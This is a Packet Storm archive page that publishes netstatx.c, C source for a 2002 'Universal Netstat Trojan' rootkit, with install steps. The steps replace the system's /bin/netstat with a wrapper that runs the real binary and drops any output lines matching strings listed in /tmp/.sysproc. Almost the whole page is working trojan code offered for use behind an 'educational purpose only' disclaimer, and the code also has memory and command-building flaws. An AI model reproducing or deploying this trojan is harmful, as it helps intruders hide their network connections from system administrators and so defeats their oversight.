exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

netstatx.c

netstatx.c
Posted Sep 28, 2002
Authored by Guile Cool, eXedes

This tool can be used to replace netstat in order to hide network sockets on a system.

tags | tool, rootkit
systems | unix
SHA-256 | e3829d7b3011d4e902f75347e995a7775ff3c56340d79178d3b5588617fa209f

netstatx.c

Change Mirror Download
/*
* Universal Netstat Trojan Beta version
*
* !!! EDUCATIONAL PURPOSE ONLY !!!
*
* CONFIDENTIAL - SOURCE MATERIALS
*
* You are not allowed to reproduce this software without Author
* security's team permissions.
*****************************************************************************
*
* (C) COPYRIGHT Security
* All Rights Reserved
*
*****************************************************************************
*
* IDEA by Angelo Rosiello (Guilecool)
*
* CODED by Guilecool and eXedes
*
* FRIENDS DiGiT by ADM, dekadish and anakata
*
* LAMERS MrHarley and all #mrharley ppl, euge, [LuNa]
*
* HOW TO USE ?
*
* 1) #define LISTOFITEMS "/tmp/.sysproc"
* Put here the strings yout to be hidden, you must create it by your self!
*
* 2) #define TMPOUTFILE "/tmp/.tmp"
* If you wish u can change the TMPOUTFILE but it's not needed.
*
* Compile the file
* Move the real /bin/netstat in /usr/bin/netstat
* Put netstatx in /bin
* For example :
* #gcc netstatx.c -o netstatx
* #mv /bin/netstat /usr/bin/netstat
* #mv netstatx /bin/netstat
*
* There you go!
*
* Good bye ;>
*
* DO Not Hack, that's stupid ;>
*
* PS: Italian--->
* L'autore si manleva da ogni responsabilità circa l'uso che terzi possono fare
* del programma in questione. Il programma nasce come esempio di strumento atto
* a nascondere delle stringhe dallo Standard Output.
* CONSIGLIO: Non hackate, è stupido :>
*/


#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>


#define READBUFFERLEN 512
#define LISTOFITEMS "/tmp/.sysproc" //this is the file where u have to put the strings u wish to be hidden
#define TMPOUTFILE "/tmp/.tmp" //U can modify here, if u want

#define new(p) ( p * )malloc(sizeof ( p ))

unsigned char filter (char *big , char *lil ) ;

// Hiding
struct ItemList
{
char *item ;
struct ItemList *next ;
} ;



// Aggiunge una stringa di path alla lista
// Ritorna 0 se c'e' errore
// 1 altrimenti

unsigned char AddItemToHide (struct ItemList **p, char *str)
{
struct ItemList *ptr ;
unsigned int len ;

if (!str)
return 0 ;

ptr = new ( struct ItemList ) ;
ptr->next = *p ;

len = strlen(str) ;
ptr->item = (char *) malloc (len-1) ;

strncpy(ptr->item,str,len-1);
*p = ptr ;

return 1 ;

}

// Distruttore della lista

void Destroy (struct ItemList **p)
{

if (!(*p))
return ;

if ((*p)->next)
{
free((*p)->item) ;
Destroy(&((*p)->next)) ;
}

free (*p) ;
}


// Trova un item nella lista * non serve x ora :)

unsigned int FindItem ( struct ItemList *p , char *item )
{
struct ItemList *ptr ;

int len ;

if ( !p || !item )
return 0 ;


ptr = p ;

while (ptr)
{
if ( !strcmp(item,ptr->item) )
return 1 ;
ptr = ptr->next ;
}
return 0 ;
}


// carica il conenuto del file puntato da path
// nella struttura puntata da p
// ritorna i files nascosti in caso di successo , 0 altrimenti
unsigned long LoadHideList (char *path, struct ItemList **p )
{
FILE *fp ;

char buffer[READBUFFERLEN] ;

unsigned long count = 0 ;

fp = fopen (path,"r") ;

// se non trovo il file
if ( !fp )
{
printf ("*file not found* : %s\n",path ) ;
return 0 ;
}


while ( !feof ( fp ) )
{
++count ;
fscanf(fp,"%s",buffer );
if ( !isspace ( *buffer ) )
AddItemToHide( p , buffer ) ;
}

fclose(fp) ;

if ( !count )
return 0 ;
else
return count ;
}



// ritorna 1 se la stringa lil e presente in big in forma intera
// Non utilizzato qui :)
unsigned char filter (char *big , char *lil )
{

char *ptr ; // pointer to the first occurance
char end ;
char begin ;
unsigned char rc ;

if ( !big || ! lil )
return 0 ;

ptr = strstr(big,lil) ;
if ( !ptr )
rc = 0 ;
else
{
// se e' l'ultima della riga

end = *(ptr+strlen(lil)) ;
if ( end == '\n' || end == 0x20 || end == 0)
{
if ( ptr != big )
{
begin = *( ptr - 1 ) ;
if ( begin == 0x20 )
rc = 1 ;
else
rc = 0 ;
}
else
rc = 1 ;
}
else
rc = 0 ;
}

return rc ;
}


int main (int argc, char **argv)
{

pid_t pid ;
int i ;
int len=0 ;
int c ;
int size ;
FILE *fp ;
char *strcmd ;

char buffer[READBUFFERLEN] ;
unsigned char found ;



struct ItemList *ItemsToHide = NULL ;
struct ItemList *ptr = NULL ;

// Rikostruisco la lista delle variabili

// rakkatto la dimensione totale della stringa di comando
for ( i = 1 ;i < argc ; i ++ )
len += strlen( argv[i] ) + 1 ;


len += strlen ( "/usr/bin/netstat " );

// e qui la creo
size = ( len + 4 + strlen(TMPOUTFILE) ) * sizeof(char) ;

strcmd = ( char * ) malloc ( size ) ;

strcat ( strcmd , "/usr/bin/netstat " );


for ( i = 1 ; i < argc ; i ++ )
strcat(strcmd,argv[i]);

strcat ( strcmd , " > " ) ;
strcat ( strcmd , TMPOUTFILE ) ;

system ( strcmd );
c = system ( strcmd );
if ( c<0 )
{
system ( "rm /tmp/.tmp" );
return;
}

//carico gli Item da Hidare

LoadHideList (LISTOFITEMS,&ItemsToHide) ;

fp = fopen ( TMPOUTFILE , "r" ) ;

if (!fp)
exit(0);



while (!feof(fp))
{
ptr = ItemsToHide ;
fgets ( buffer , READBUFFERLEN , fp );

for ( found = 0 ; ptr ; ptr = ptr -> next )
if ( strstr ( buffer , ptr->item) )
{
found = 1 ;
break ;
}
if ( ! found )
printf ( "%s",buffer ) ;

}

fclose (fp) ;
system ( "rm /tmp/.tmp" );
free ( strcmd ) ;


if ( ItemsToHide )
Destroy(&ItemsToHide) ;

}





Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close